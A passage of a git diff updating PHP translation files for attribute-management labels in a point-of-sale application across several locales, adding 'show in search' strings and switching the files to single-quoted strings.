"", - "new" => "", - "no_attributes_to_display" => "", - "receipt_visibility" => "", - "show_in_items" => "", - "show_in_items_visibility" => "", - "show_in_receipt" => "", - "show_in_receivings" => "", - "show_in_receivings_visibility" => "", - "show_in_sales" => "", - "show_in_sales_visibility" => "", - "update" => "", + 'attribute_value_invalid_chars' => 'ຄ່າແອດທິບິວບໍ່ສາມາດມີ \':\' ຫລື \'|\'', + 'confirm_delete' => 'ແນ່ໃຈຫຼືບໍທີ່ຈະລືບລາຍການທີ່ເລືອກ', + 'confirm_restore' => 'ແນ່ໃຈຫຼືບໍທີ່ຈະຄືນຄ່າແອັດທິບິ້ວດັ່ງກ່າວ?', + 'definition_cannot_be_deleted' => 'ບໍສາມາດລືບລາຍການທີ່ເລືອກໄດ້', + 'definition_invalid_group' => '', + 'definition_error_adding_updating' => 'ລາຍການ {0} ບໍສາມາດເພີ່ມ ຫຼື ແກ້ໄຂ. ກະລຸນາກວດສອບຢູ່ log ຂໍ້ຜິດຜາດ', + 'definition_flags' => 'ຄູນສົມບັດການເບິ່ງເຫັນ', + 'definition_group' => 'ກຸ່ມ', + 'definition_id' => 'ລະຫັດ', + 'definition_name' => 'ເພີ່ມລາຍການ', + 'definition_name_required' => 'ຕ້ອງໄດ້ລະບຸຊື່ລາຍການ', + 'definition_one_or_multiple' => 'ລາຍການ', + 'definition_successful_adding' => 'ເພີ່ມລາຍການສຳເລັດແລ້ວ', + 'definition_successful_deleted' => 'ລຶບລາຍການສຳເລັດແລ້ວ', + 'definition_successful_updating' => 'ແກ້ໄຂລາຍການສຳເລັດແລ້ວ', + 'definition_type' => 'ປະເພດລາຍການ', + 'definition_type_required' => 'ປະເພດແອດທີບິວ ຈຳເປັນຕ້ອງໃຊ້', + 'definition_unit' => '', + 'definition_values' => '', + 'new' => '', + 'no_attributes_to_display' => '', + 'receipt_visibility' => '', + 'show_in_items' => '', + 'show_in_items_visibility' => '', + 'show_in_receipt' => '', + 'show_in_receivings' => '', + 'show_in_receivings_visibility' => '', + 'show_in_sales' => '', + 'show_in_sales_visibility' => '', + 'show_in_search' => 'ສະແດງໃນການຄົ້ນຫາ', + 'show_in_search_visibility' => 'ຄົ້ນຫາ', + 'update' => '', ]; diff --git a/app/Language/ml/Attributes.php b/app/Language/ml/Attributes.php index 82911ea55..37340d7b2 100644 --- a/app/Language/ml/Attributes.php +++ b/app/Language/ml/Attributes.php @@ -1,34 +1,36 @@ "Attribute value cannot contain ':' or '|'", - "confirm_delete" => "Are you sure you want to delete the selected attribute(s)?", - "confirm_restore" => "", - "definition_cannot_be_deleted" => "Could not delete selected attribute(s)", - "definition_invalid_group" => "", - "definition_error_adding_updating" => "", - "definition_flags" => "Attribute Visibility", - "definition_group" => "Group", - "definition_id" => "Id", - "definition_name" => "Attribute Name", - "definition_name_required" => "Attribute name is a required field", - "definition_one_or_multiple" => "attribute(s)", - "definition_successful_adding" => "You have successfully added item", - "definition_successful_deleted" => "You have successfully deleted", - "definition_successful_updating" => "You have successfully updated attribute", - "definition_type" => "Attribute Type", - "definition_type_required" => "Attribute type is a required field", - "definition_unit" => "", - "definition_values" => "Attribute Values", - "new" => "New Attribute", - "no_attributes_to_display" => "No Items to display", - "receipt_visibility" => "Receipt", - "show_in_items" => "Show in items", - "show_in_items_visibility" => "Items", - "show_in_receipt" => "Show in receipt", - "show_in_receivings" => "Show in receivings", - "show_in_receivings_visibility" => "Receivings", - "show_in_sales" => "Show in sales", - "show_in_sales_visibility" => "Sales", - "update" => "Update Attribute", + 'attribute_value_invalid_chars' => 'Attribute value cannot contain \':\' or \'|\'', + 'confirm_delete' => 'Are you sure you want to restore the selected attribute(s)?', + 'confirm_restore' => 'Are you sure you want to delete the selected attribute(s)?', + 'definition_cannot_be_deleted' => 'Could not delete selected attribute(s)', + 'definition_invalid_group' => '', + 'definition_error_adding_updating' => 'Attribute {0} could not be added or updated. Please check the error log.', + 'definition_flags' => 'Attribute Visibility', + 'definition_group' => 'Group', + 'definition_id' => 'Id', + 'definition_name' => 'Add Attribute', + 'definition_name_required' => 'Attribute type is a required field', + 'definition_one_or_multiple' => 'attribute(s)', + 'definition_successful_adding' => 'You have successfully added item', + 'definition_successful_deleted' => 'You have successfully deleted', + 'definition_successful_updating' => 'You have successfully updated Item Kit', + 'definition_type' => 'Attribute Type', + 'definition_type_required' => 'Attribute name is a required field', + 'definition_unit' => 'Measurement Unit', + 'definition_values' => 'Attribute Values', + 'new' => 'New Attribute', + 'no_attributes_to_display' => 'No Items to display.', + 'receipt_visibility' => 'Receipt', + 'show_in_items' => 'Show in items', + 'show_in_items_visibility' => 'Items', + 'show_in_receipt' => 'Show in receipt', + 'show_in_receivings' => 'Show in receivings', + 'show_in_receivings_visibility' => 'Receivings', + 'show_in_sales' => 'Show in sales', + 'show_in_sales_visibility' => 'Sales', + 'show_in_search' => 'തിരയലിൽ കാണിക്കുക', + 'show_in_search_visibility' => 'തിരയൽ', + 'update' => 'Update Attribute', ]; diff --git a/app/Language/nb/Attributes.php b/app/Language/nb/Attributes.php index 377b84f4b..d67266cb5 100644 --- a/app/Language/nb/Attributes.php +++ b/app/Language/nb/Attributes.php @@ -1,34 +1,36 @@ "Attribute value cannot contain ':' or '|'", - "confirm_delete" => "Are you sure you want to delete the selected attribute(s)?", - "confirm_restore" => "Are you sure you want to restore the selected attribute(s)?", - "definition_cannot_be_deleted" => "Could not delete selected attribute(s)", - "definition_invalid_group" => "", - "definition_error_adding_updating" => "Attribute {0} could not be added or updated. Please check the error log.", - "definition_flags" => "Attribute Visibility", - "definition_group" => "Group", - "definition_id" => "Id", - "definition_name" => "Add Attribute", - "definition_name_required" => "Attribute name is a required field", - "definition_one_or_multiple" => "attribute(s)", - "definition_successful_adding" => "You have successfully added item", - "definition_successful_deleted" => "You have successfully deleted", - "definition_successful_updating" => "You have successfully updated attribute", - "definition_type" => "Attribute Type", - "definition_type_required" => "Attribute type is a required field", - "definition_unit" => "Measurement Unit", - "definition_values" => "Attribute Values", - "new" => "New Attribute", - "no_attributes_to_display" => "No Items to display", - "receipt_visibility" => "Receipt", - "show_in_items" => "Show in items", - "show_in_items_visibility" => "Items", - "show_in_receipt" => "Show in receipt", - "show_in_receivings" => "Show in receivings", - "show_in_receivings_visibility" => "Receivings", - "show_in_sales" => "Show in sales", - "show_in_sales_visibility" => "Sales", - "update" => "Update Attribute", + 'attribute_value_invalid_chars' => 'Attribute value cannot contain \':\' or \'|\'', + 'confirm_delete' => 'Are you sure you want to delete the selected attribute(s)?', + 'confirm_restore' => 'Are you sure you want to restore the selected attribute(s)?', + 'definition_cannot_be_deleted' => 'Could not delete selected attribute(s)', + 'definition_invalid_group' => '', + 'definition_error_adding_updating' => 'Attribute {0} could not be added or updated. Please check the error log.', + 'definition_flags' => 'Attribute Visibility', + 'definition_group' => 'Group', + 'definition_id' => 'Id', + 'definition_name' => 'Add Attribute', + 'definition_name_required' => 'Attribute name is a required field', + 'definition_one_or_multiple' => 'attribute(s)', + 'definition_successful_adding' => 'You have successfully added item', + 'definition_successful_deleted' => 'You have successfully deleted', + 'definition_successful_updating' => 'You have successfully updated attribute', + 'definition_type' => 'Attribute Type', + 'definition_type_required' => 'Attribute type is a required field', + 'definition_unit' => 'Measurement Unit', + 'definition_values' => 'Attribute Values', + 'new' => 'New Attribute', + 'no_attributes_to_display' => 'No Items to display', + 'receipt_visibility' => 'Receipt', + 'show_in_items' => 'Show in items', + 'show_in_items_visibility' => 'Items', + 'show_in_receipt' => 'Show in receipt', + 'show_in_receivings' => 'Show in receivings', + 'show_in_receivings_visibility' => 'Receivings', + 'show_in_sales' => 'Show in sales', + 'show_in_sales_visibility' => 'Sales', + 'show_in_search' => 'Vis i søk', + 'show_in_search_visibility' => 'Søk', + 'update' => 'Update Attribute', ]; diff --git a/app/Language/nl-BE/Attributes.php b/app/Language/nl-BE/Attributes.php index 4d544a18d..409a29b36 100644 --- a/app/Language/nl-BE/Attributes.php +++ b/app/Language/nl-BE/Attributes.php @@ -1,34 +1,36 @@ "Attribuut waarde kan geen ':' of '|' bevatten", - "confirm_delete" => "Bent u zeker dat u de geselecteerde attributen wil verwijderen?", - "confirm_restore" => "Bent u zeker dat u de geselecteerde attributen wil herstellen?", - "definition_cannot_be_deleted" => "De geselecteerde attributen konden niet verwijderd worden", - "definition_invalid_group" => "De geselecteerde groep bestaat niet of is ongeldig.", - "definition_error_adding_updating" => "Attribuut {0} kon niet toegevoegd of gewijzigd worden. Kijk de error logs na.", - "definition_flags" => "Zichtbaarheid", - "definition_group" => "Groep", - "definition_id" => "Id", - "definition_name" => "Nieuw attribuut", - "definition_name_required" => "Attribuut naam is een verplicht veld", - "definition_one_or_multiple" => "Attribu(u)t(en)", - "definition_successful_adding" => "Attribuut succesvol toegevoegd", - "definition_successful_deleted" => "Attribu(u)t(en) succesvol verwijderd", - "definition_successful_updating" => "Wijzigingen bewaard voor", - "definition_type" => "Type", - "definition_type_required" => "Attribuut type is een verplicht veld", - "definition_unit" => "Meeteenheid", - "definition_values" => "Attribuut waardes", - "new" => "Nieuw Attribuut", - "no_attributes_to_display" => "Er werden geen attributen gevonden", - "receipt_visibility" => "Verkoop", - "show_in_items" => "Toon in producten", - "show_in_items_visibility" => "Producten", - "show_in_receipt" => "Toon in verkoop", - "show_in_receivings" => "Toon in orders", - "show_in_receivings_visibility" => "Orders", - "show_in_sales" => "Toon in verkoop", - "show_in_sales_visibility" => "Verkoop", - "update" => "Wijzig Attribuut", + 'attribute_value_invalid_chars' => 'Attribuut waarde kan geen \':\' of \'|\' bevatten', + 'confirm_delete' => 'Bent u zeker dat u de geselecteerde attributen wil verwijderen?', + 'confirm_restore' => 'Bent u zeker dat u de geselecteerde attributen wil herstellen?', + 'definition_cannot_be_deleted' => 'De geselecteerde attributen konden niet verwijderd worden', + 'definition_invalid_group' => 'De geselecteerde groep bestaat niet of is ongeldig.', + 'definition_error_adding_updating' => 'Attribuut {0} kon niet toegevoegd of gewijzigd worden. Kijk de error logs na.', + 'definition_flags' => 'Zichtbaarheid', + 'definition_group' => 'Groep', + 'definition_id' => 'Id', + 'definition_name' => 'Nieuw attribuut', + 'definition_name_required' => 'Attribuut naam is een verplicht veld', + 'definition_one_or_multiple' => 'Attribu(u)t(en)', + 'definition_successful_adding' => 'Attribuut succesvol toegevoegd', + 'definition_successful_deleted' => 'Attribu(u)t(en) succesvol verwijderd', + 'definition_successful_updating' => 'Wijzigingen bewaard voor', + 'definition_type' => 'Type', + 'definition_type_required' => 'Attribuut type is een verplicht veld', + 'definition_unit' => 'Meeteenheid', + 'definition_values' => 'Attribuut waardes', + 'new' => 'Nieuw Attribuut', + 'no_attributes_to_display' => 'Er werden geen attributen gevonden', + 'receipt_visibility' => 'Verkoop', + 'show_in_items' => 'Toon in producten', + 'show_in_items_visibility' => 'Producten', + 'show_in_receipt' => 'Toon in verkoop', + 'show_in_receivings' => 'Toon in orders', + 'show_in_receivings_visibility' => 'Orders', + 'show_in_sales' => 'Toon in verkoop', + 'show_in_sales_visibility' => 'Verkoop', + 'show_in_search' => 'Toon in zoeken', + 'show_in_search_visibility' => 'Zoeken', + 'update' => 'Wijzig Attribuut', ]; diff --git a/app/Language/nl-NL/Attributes.php b/app/Language/nl-NL/Attributes.php index 25acecf50..207fc4ac8 100644 --- a/app/Language/nl-NL/Attributes.php +++ b/app/Language/nl-NL/Attributes.php @@ -1,34 +1,36 @@ "Kenmerkwaarde mag niet '_' of '|' bevatten", - "confirm_delete" => "Weet u zeker dat u de geselecteerde kenmerken wilt verwijderen?", - "confirm_restore" => "Weet u zeker dat u de geselecteerde kenmerken wilt herstellen?", - "definition_cannot_be_deleted" => "Kan geselecteerde kenmerk(en) niet verwijderen", - "definition_invalid_group" => "De geselecteerde groep bestaat niet of is ongeldig.", - "definition_error_adding_updating" => "Kenmerk {0} kan niet worden toegevoegd of bijgewerkt. Bekijk het foutenlogboek.", - "definition_flags" => "Kenmerk zichtbaarheid", - "definition_group" => "Groep", - "definition_id" => "Id", - "definition_name" => "Kenmerk toevoegen", - "definition_name_required" => "Kenmerknaam is een vereist veld", - "definition_one_or_multiple" => "kenmerk(en)", - "definition_successful_adding" => "U heeft een artikel toegevoegd", - "definition_successful_deleted" => "U heeft verwijderd", - "definition_successful_updating" => "U heeft het kenmerk bijgewerkt", - "definition_type" => "Kenmerk soort", - "definition_type_required" => "Kenmerk soort is een vereist veld", - "definition_unit" => "Maateenheid", - "definition_values" => "Kenmerkwaarden", - "new" => "Nieuw kenmerk", - "no_attributes_to_display" => "Geen artikelen om te weergeven", - "receipt_visibility" => "Kassabon", - "show_in_items" => "Weergeven in artikelen", - "show_in_items_visibility" => "Artikelen", - "show_in_receipt" => "Weergeven op kassabon", - "show_in_receivings" => "Weergeven in leveringen", - "show_in_receivings_visibility" => "Leveringen", - "show_in_sales" => "Weergeven in verkopen", - "show_in_sales_visibility" => "Verkopen", - "update" => "Kenmerk bijwerken", + 'attribute_value_invalid_chars' => 'Kenmerkwaarde mag niet \'_\' of \'|\' bevatten', + 'confirm_delete' => 'Weet u zeker dat u de geselecteerde kenmerken wilt verwijderen?', + 'confirm_restore' => 'Weet u zeker dat u de geselecteerde kenmerken wilt herstellen?', + 'definition_cannot_be_deleted' => 'Kan geselecteerde kenmerk(en) niet verwijderen', + 'definition_invalid_group' => 'De geselecteerde groep bestaat niet of is ongeldig.', + 'definition_error_adding_updating' => 'Kenmerk {0} kan niet worden toegevoegd of bijgewerkt. Bekijk het foutenlogboek.', + 'definition_flags' => 'Kenmerk zichtbaarheid', + 'definition_group' => 'Groep', + 'definition_id' => 'Id', + 'definition_name' => 'Kenmerk toevoegen', + 'definition_name_required' => 'Kenmerknaam is een vereist veld', + 'definition_one_or_multiple' => 'kenmerk(en)', + 'definition_successful_adding' => 'U heeft een artikel toegevoegd', + 'definition_successful_deleted' => 'U heeft verwijderd', + 'definition_successful_updating' => 'U heeft het kenmerk bijgewerkt', + 'definition_type' => 'Kenmerk soort', + 'definition_type_required' => 'Kenmerk soort is een vereist veld', + 'definition_unit' => 'Maateenheid', + 'definition_values' => 'Kenmerkwaarden', + 'new' => 'Nieuw kenmerk', + 'no_attributes_to_display' => 'Geen artikelen om te weergeven', + 'receipt_visibility' => 'Kassabon', + 'show_in_items' => 'Weergeven in artikelen', + 'show_in_items_visibility' => 'Artikelen', + 'show_in_receipt' => 'Weergeven op kassabon', + 'show_in_receivings' => 'Weergeven in leveringen', + 'show_in_receivings_visibility' => 'Leveringen', + 'show_in_sales' => 'Weergeven in verkopen', + 'show_in_sales_visibility' => 'Verkopen', + 'show_in_search' => 'Weergeven in zoekopdrachten', + 'show_in_search_visibility' => 'Zoeken', + 'update' => 'Kenmerk bijwerken', ]; diff --git a/app/Language/pl/Attributes.php b/app/Language/pl/Attributes.php index 3edda3db5..cf184f01d 100644 --- a/app/Language/pl/Attributes.php +++ b/app/Language/pl/Attributes.php @@ -1,34 +1,36 @@ "Wartość atrybutu nie może zawierać'_' lub '|'", - "confirm_delete" => "Czy jesteś pewny, że chcesz usunąć wybrane atrybuty?", - "confirm_restore" => "Czy jesteś pewien, że chcesz przywrócić zaznaczone atrybuty?", - "definition_cannot_be_deleted" => "Nie można usunąć wybranych atrybutów", - "definition_invalid_group" => "Wybrana grupa nie istnieje lub jest nieprawidłowa.", - "definition_error_adding_updating" => "Atrybut 51 nie może zostać dodany lub zaktualizowany. Sprawdź dziennik błędów.", - "definition_flags" => "Widoczność atrybutu", - "definition_group" => "Grupa", - "definition_id" => "Id", - "definition_name" => "Dodaj atrybut", - "definition_name_required" => "Nazwa atrybutu jest wymagana", - "definition_one_or_multiple" => "atrybut(y)", - "definition_successful_adding" => "Pomyślnie dodano element", - "definition_successful_deleted" => "Pomyślnie usunięto", - "definition_successful_updating" => "Pomyślnie zaktualizowano atrybut", - "definition_type" => "Typ atrybutu", - "definition_type_required" => "Typ atrybutu jest wymagany", - "definition_unit" => "Jednostka miary", - "definition_values" => "Wartość atrybutu", - "new" => "Nowy atrybut", - "no_attributes_to_display" => "Brak elementów do wyświetlenia", - "receipt_visibility" => "Paragon", - "show_in_items" => "Pokaż w produktach", - "show_in_items_visibility" => "Produkty", - "show_in_receipt" => "Pokaż w paragonie", - "show_in_receivings" => "Pokaż w dostawach", - "show_in_receivings_visibility" => "Dostawy", - "show_in_sales" => "Pokaż w sprzedażach", - "show_in_sales_visibility" => "Sprzedaże", - "update" => "Zaktualizuj atrybut", + 'attribute_value_invalid_chars' => 'Wartość atrybutu nie może zawierać\'_\' lub \'|\'', + 'confirm_delete' => 'Czy jesteś pewny, że chcesz usunąć wybrane atrybuty?', + 'confirm_restore' => 'Czy jesteś pewien, że chcesz przywrócić zaznaczone atrybuty?', + 'definition_cannot_be_deleted' => 'Nie można usunąć wybranych atrybutów', + 'definition_invalid_group' => 'Wybrana grupa nie istnieje lub jest nieprawidłowa.', + 'definition_error_adding_updating' => 'Atrybut 51 nie może zostać dodany lub zaktualizowany. Sprawdź dziennik błędów.', + 'definition_flags' => 'Widoczność atrybutu', + 'definition_group' => 'Grupa', + 'definition_id' => 'Id', + 'definition_name' => 'Dodaj atrybut', + 'definition_name_required' => 'Nazwa atrybutu jest wymagana', + 'definition_one_or_multiple' => 'atrybut(y)', + 'definition_successful_adding' => 'Pomyślnie dodano element', + 'definition_successful_deleted' => 'Pomyślnie usunięto', + 'definition_successful_updating' => 'Pomyślnie zaktualizowano atrybut', + 'definition_type' => 'Typ atrybutu', + 'definition_type_required' => 'Typ atrybutu jest wymagany', + 'definition_unit' => 'Jednostka miary', + 'definition_values' => 'Wartość atrybutu', + 'new' => 'Nowy atrybut', + 'no_attributes_to_display' => 'Brak elementów do wyświetlenia', + 'receipt_visibility' => 'Paragon', + 'show_in_items' => 'Pokaż w produktach', + 'show_in_items_visibility' => 'Produkty', + 'show_in_receipt' => 'Pokaż w paragonie', + 'show_in_receivings' => 'Pokaż w dostawach', + 'show_in_receivings_visibility' => 'Dostawy', + 'show_in_sales' => 'Pokaż w sprzedażach', + 'show_in_sales_visibility' => 'Sprzedaże', + 'show_in_search' => 'Pokaż w wyszukiwaniu', + 'show_in_search_visibility' => 'Wyszukiwanie', + 'update' => 'Zaktualizuj atrybut', ]; diff --git a/app/Language/pt-BR/Attributes.php b/app/Language/pt-BR/Attributes.php index f71960da8..a69b5031f 100644 --- a/app/Language/pt-BR/Attributes.php +++ b/app/Language/pt-BR/Attributes.php @@ -1,34 +1,36 @@ "Valor do atributo não pode conter ':' ou '|'", - "confirm_delete" => "Tem certeza de que deseja excluir os atributos selecionados?", - "confirm_restore" => "Tem certeza de que deseja restaurar o(s) atributo(s) selecionado(s)?", - "definition_cannot_be_deleted" => "Não foi possível excluir atributo selecionado (s)", - "definition_invalid_group" => "O grupo selecionado não existe ou é inválido.", - "definition_error_adding_updating" => "Atributo {0} não pode ser adicionado ou atualizado. Por favor verifique o log de erros.", - "definition_flags" => "Visibilidade de atributo", - "definition_group" => "Grupo", - "definition_id" => "Id", - "definition_name" => "Adicionar Atributo", - "definition_name_required" => "Nome do atributo é um campo obrigatório", - "definition_one_or_multiple" => "Atributo(s)", - "definition_successful_adding" => "Você adicionou com êxito o item", - "definition_successful_deleted" => "Você excluiu com êxito", - "definition_successful_updating" => "Você atualizou com êxito o atributo", - "definition_type" => "Tipo de atributo", - "definition_type_required" => "Tipo de atributo é um campo obrigatório", - "definition_unit" => "Unidade de medida", - "definition_values" => "Valores de atributo", - "new" => "Novo Atributo", - "no_attributes_to_display" => "Não há itens para exibir", - "receipt_visibility" => "Recibo", - "show_in_items" => "Mostrar em itens", - "show_in_items_visibility" => "Itens", - "show_in_receipt" => "Mostrar no recibo", - "show_in_receivings" => "Mostrar em recebimentos", - "show_in_receivings_visibility" => "Recebimentos", - "show_in_sales" => "Mostrar em vendas", - "show_in_sales_visibility" => "Vendas", - "update" => "Atualizar atributo", + 'attribute_value_invalid_chars' => 'Valor do atributo não pode conter \':\' ou \'|\'', + 'confirm_delete' => 'Tem certeza de que deseja excluir os atributos selecionados?', + 'confirm_restore' => 'Tem certeza de que deseja restaurar o(s) atributo(s) selecionado(s)?', + 'definition_cannot_be_deleted' => 'Não foi possível excluir atributo selecionado (s)', + 'definition_invalid_group' => 'O grupo selecionado não existe ou é inválido.', + 'definition_error_adding_updating' => 'Atributo {0} não pode ser adicionado ou atualizado. Por favor verifique o log de erros.', + 'definition_flags' => 'Visibilidade de atributo', + 'definition_group' => 'Grupo', + 'definition_id' => 'Id', + 'definition_name' => 'Adicionar Atributo', + 'definition_name_required' => 'Nome do atributo é um campo obrigatório', + 'definition_one_or_multiple' => 'Atributo(s)', + 'definition_successful_adding' => 'Você adicionou com êxito o item', + 'definition_successful_deleted' => 'Você excluiu com êxito', + 'definition_successful_updating' => 'Você atualizou com êxito o atributo', + 'definition_type' => 'Tipo de atributo', + 'definition_type_required' => 'Tipo de atributo é um campo obrigatório', + 'definition_unit' => 'Unidade de medida', + 'definition_values' => 'Valores de atributo', + 'new' => 'Novo Atributo', + 'no_attributes_to_display' => 'Não há itens para exibir', + 'receipt_visibility' => 'Recibo', + 'show_in_items' => 'Mostrar em itens', + 'show_in_items_visibility' => 'Itens', + 'show_in_receipt' => 'Mostrar no recibo', + 'show_in_receivings' => 'Mostrar em recebimentos', + 'show_in_receivings_visibility' => 'Recebimentos', + 'show_in_sales' => 'Mostrar em vendas', + 'show_in_sales_visibility' => 'Vendas', + 'show_in_search' => 'Mostrar na busca', + 'show_in_search_visibility' => 'Busca', + 'update' => 'Atualizar atributo', ]; diff --git a/app/Language/ro/Attributes.php b/app/Language/ro/Attributes.php index 921b86361..7032d6bb2 100644 --- a/app/Language/ro/Attributes.php +++ b/app/Language/ro/Attributes.php @@ -1,34 +1,36 @@ "Valoare atribut nu poate contine ':' sau '|'", - "confirm_delete" => "Sigur doriti stergerea atributului/atributelor selectat(e)?", - "confirm_restore" => "", - "definition_cannot_be_deleted" => "Nu se poate sterge atributul/atributele selectat(e)", - "definition_invalid_group" => "Grupul selectat nu există sau este invalid.", - "definition_error_adding_updating" => "", - "definition_flags" => "Vizibilitate atribut", - "definition_group" => "Grup", - "definition_id" => "Id", - "definition_name" => "Adauga atribut", - "definition_name_required" => "Nume atribut este un camp obligatoriu", - "definition_one_or_multiple" => "atribut(e)", - "definition_successful_adding" => "Ati adaugat articolul cu succes", - "definition_successful_deleted" => "Ati sters cu succes", - "definition_successful_updating" => "Ati actualizat atributul cu succes", - "definition_type" => "Tip Atribut", - "definition_type_required" => "Tip Atribut este camp obligatoriu", - "definition_unit" => "", - "definition_values" => "Valori Atribut", - "new" => "Atribut nou", - "no_attributes_to_display" => "Nu sunt articole de afisat", - "receipt_visibility" => "Chitanta", - "show_in_items" => "Arata in articole", - "show_in_items_visibility" => "Articole", - "show_in_receipt" => "Arata in chitanta", - "show_in_receivings" => "Arata in receptii", - "show_in_receivings_visibility" => "Receptii", - "show_in_sales" => "Arata in vanzari", - "show_in_sales_visibility" => "Vanzari", - "update" => "Actualizare Atribut", + 'attribute_value_invalid_chars' => 'Valoare atribut nu poate contine \':\' sau \'|\'', + 'confirm_delete' => 'Sigur doriti stergerea atributului/atributelor selectat(e)?', + 'confirm_restore' => '', + 'definition_cannot_be_deleted' => 'Nu se poate sterge atributul/atributele selectat(e)', + 'definition_invalid_group' => 'Grupul selectat nu există sau este invalid.', + 'definition_error_adding_updating' => '', + 'definition_flags' => 'Vizibilitate atribut', + 'definition_group' => 'Grup', + 'definition_id' => 'Id', + 'definition_name' => 'Adauga atribut', + 'definition_name_required' => 'Nume atribut este un camp obligatoriu', + 'definition_one_or_multiple' => 'atribut(e)', + 'definition_successful_adding' => 'Ati adaugat articolul cu succes', + 'definition_successful_deleted' => 'Ati sters cu succes', + 'definition_successful_updating' => 'Ati actualizat atributul cu succes', + 'definition_type' => 'Tip Atribut', + 'definition_type_required' => 'Tip Atribut este camp obligatoriu', + 'definition_unit' => '', + 'definition_values' => 'Valori Atribut', + 'new' => 'Atribut nou', + 'no_attributes_to_display' => 'Nu sunt articole de afisat', + 'receipt_visibility' => 'Chitanta', + 'show_in_items' => 'Arata in articole', + 'show_in_items_visibility' => 'Articole', + 'show_in_receipt' => 'Arata in chitanta', + 'show_in_receivings' => 'Arata in receptii', + 'show_in_receivings_visibility' => 'Receptii', + 'show_in_sales' => 'Arata in vanzari', + 'show_in_sales_visibility' => 'Vanzari', + 'show_in_search' => 'Arata in cautare', + 'show_in_search_visibility' => 'Cautare', + 'update' => 'Actualizare Atribut', ]; diff --git a/app/Language/ru/Attributes.php b/app/Language/ru/Attributes.php index 08822fa57..f77199be3 100644 --- a/app/Language/ru/Attributes.php +++ b/app/Language/ru/Attributes.php @@ -1,34 +1,36 @@ "Значение атрибута не может содержать ':' или '|'", - "confirm_delete" => "Вы уверены, что хотите удалить выбранные атрибут(ы)?", - "confirm_restore" => "Вы уверены, что хотите восстановить выбранные атрибут(ы)?", - "definition_cannot_be_deleted" => "Не удалось удалить выбранные атрибут(ы)", - "definition_invalid_group" => "Выбранная группа не существует или недействительна.", - "definition_error_adding_updating" => "Атрибут {0} не может быть добавлен или обновлен. Пожалуйста, проверьте журнал ошибок.", - "definition_flags" => "Видимость атрибута", - "definition_group" => "Группа", - "definition_id" => "№", - "definition_name" => "Добавить атрибут", - "definition_name_required" => "Название атрибута - обязательное поле", - "definition_one_or_multiple" => "атрибут(ы)", - "definition_successful_adding" => "Вы успешно добавили товар", - "definition_successful_deleted" => "Успешно удалено", - "definition_successful_updating" => "Обновлено успешно", - "definition_type" => "Тип атрибута", - "definition_type_required" => "Название атрибута - обязательное поле", - "definition_unit" => "Единица измерения", - "definition_values" => "Значения атрибута", - "new" => "Новый атрибут", - "no_attributes_to_display" => "Нет товаров для отображения", - "receipt_visibility" => "Чек", - "show_in_items" => "Показать в товарах", - "show_in_items_visibility" => "Товары", - "show_in_receipt" => "Показать в квитанции", - "show_in_receivings" => "Показать в закупках", - "show_in_receivings_visibility" => "Закупки", - "show_in_sales" => "Показать в продажах", - "show_in_sales_visibility" => "Продажи", - "update" => "Обновить атрибут", + 'attribute_value_invalid_chars' => 'Значение атрибута не может содержать \':\' или \'|\'', + 'confirm_delete' => 'Вы уверены, что хотите удалить выбранные атрибут(ы)?', + 'confirm_restore' => 'Вы уверены, что хотите восстановить выбранные атрибут(ы)?', + 'definition_cannot_be_deleted' => 'Не удалось удалить выбранные атрибут(ы)', + 'definition_invalid_group' => 'Выбранная группа не существует или недействительна.', + 'definition_error_adding_updating' => 'Атрибут {0} не может быть добавлен или обновлен. Пожалуйста, проверьте журнал ошибок.', + 'definition_flags' => 'Видимость атрибута', + 'definition_group' => 'Группа', + 'definition_id' => '№', + 'definition_name' => 'Добавить атрибут', + 'definition_name_required' => 'Название атрибута - обязательное поле', + 'definition_one_or_multiple' => 'атрибут(ы)', + 'definition_successful_adding' => 'Вы успешно добавили товар', + 'definition_successful_deleted' => 'Успешно удалено', + 'definition_successful_updating' => 'Обновлено успешно', + 'definition_type' => 'Тип атрибута', + 'definition_type_required' => 'Название атрибута - обязательное поле', + 'definition_unit' => 'Единица измерения', + 'definition_values' => 'Значения атрибута', + 'new' => 'Новый атрибут', + 'no_attributes_to_display' => 'Нет товаров для отображения', + 'receipt_visibility' => 'Чек', + 'show_in_items' => 'Показать в товарах', + 'show_in_items_visibility' => 'Товары', + 'show_in_receipt' => 'Показать в квитанции', + 'show_in_receivings' => 'Показать в закупках', + 'show_in_receivings_visibility' => 'Закупки', + 'show_in_sales' => 'Показать в продажах', + 'show_in_sales_visibility' => 'Продажи', + 'show_in_search' => 'Показать в поиске', + 'show_in_search_visibility' => 'Поиск', + 'update' => 'Обновить атрибут', ]; diff --git a/app/Language/sv/Attributes.php b/app/Language/sv/Attributes.php index 8efad3d00..3d9dac43c 100644 --- a/app/Language/sv/Attributes.php +++ b/app/Language/sv/Attributes.php @@ -1,34 +1,36 @@ "Attributvärdet får inte innehålla '_' eller '|'", - "confirm_delete" => "Är du säker på att du vill ta bort de valda attributen?", - "confirm_restore" => "Är du säker på att du vill återställa de valda attributen?", - "definition_cannot_be_deleted" => "Det gick inte att ta bort valda attribut", - "definition_invalid_group" => "Den valda gruppen finns inte eller är ogiltig.", - "definition_error_adding_updating" => "Attribut{0} kunde inte läggas till eller uppdateras. Kontrollera felloggen.", - "definition_flags" => "Attribut synlighet", - "definition_group" => "Grupp", - "definition_id" => "Id", - "definition_name" => "Lägg till attribut", - "definition_name_required" => "Attributnamn är ett obligatoriskt fält", - "definition_one_or_multiple" => "attribut", - "definition_successful_adding" => "Du har lagt till artikeln", - "definition_successful_deleted" => "Du har tagit bort", - "definition_successful_updating" => "Du har uppdaterat attributet", - "definition_type" => "Attributtyp", - "definition_type_required" => "Attributtyp är ett obligatoriskt fält", - "definition_unit" => "Måttenhet", - "definition_values" => "Attributvärden", - "new" => "Nytt attribut", - "no_attributes_to_display" => "Inga artiklar att visa", - "receipt_visibility" => "Kvitto", - "show_in_items" => "Visa i artiklar", - "show_in_items_visibility" => "Artiklar", - "show_in_receipt" => "Visa i kvitto", - "show_in_receivings" => "Visa i mottagande", - "show_in_receivings_visibility" => "Inleveranser", - "show_in_sales" => "Visa i försäljning", - "show_in_sales_visibility" => "Försäljning", - "update" => "Uppdatera attribut", + 'attribute_value_invalid_chars' => 'Attributvärdet får inte innehålla \'_\' eller \'|\'', + 'confirm_delete' => 'Är du säker på att du vill ta bort de valda attributen?', + 'confirm_restore' => 'Är du säker på att du vill återställa de valda attributen?', + 'definition_cannot_be_deleted' => 'Det gick inte att ta bort valda attribut', + 'definition_invalid_group' => 'Den valda gruppen finns inte eller är ogiltig.', + 'definition_error_adding_updating' => 'Attribut{0} 